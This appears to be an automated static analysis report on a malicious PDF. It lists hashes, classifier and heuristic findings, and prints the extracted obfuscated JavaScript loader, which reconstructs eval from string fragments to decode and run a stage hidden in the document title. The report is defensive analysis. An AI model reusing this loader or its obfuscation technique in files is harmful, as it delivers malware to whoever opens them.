Malicious PDF — malware analysis report

Static analysis result for SHA-256 a08c8ba676fe9cbf…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 9875e72bb5ed9610e7a1f0d2e74c821a SHA-1: 833b2491ae918b0bc3df134fc915e6dceab7c236 SHA-256: a08c8ba676fe9cbf489fb48c9f7013f196abde3032e04ba67a25404f8256ccf0
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely responsible for executing malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions are not detailed in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0F6 473 bytes
SHA-256: 9b2452cfdc051936421d021c3b08286e47826f88bcef8f56c5e36654e9b3704c
Preview script
First 1,000 lines of the extracted script
cqba='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
cbuah=e('ti'+'tle');
s=cbuah.substr(t.length + 8,3)+'str';
q=cbuah[s](1,(1,9));
mpl=e('S'+'tring.fro'+q);
q=cbuah[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	kxf = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	cqba += mpl(kxf);
}
e(cqba);

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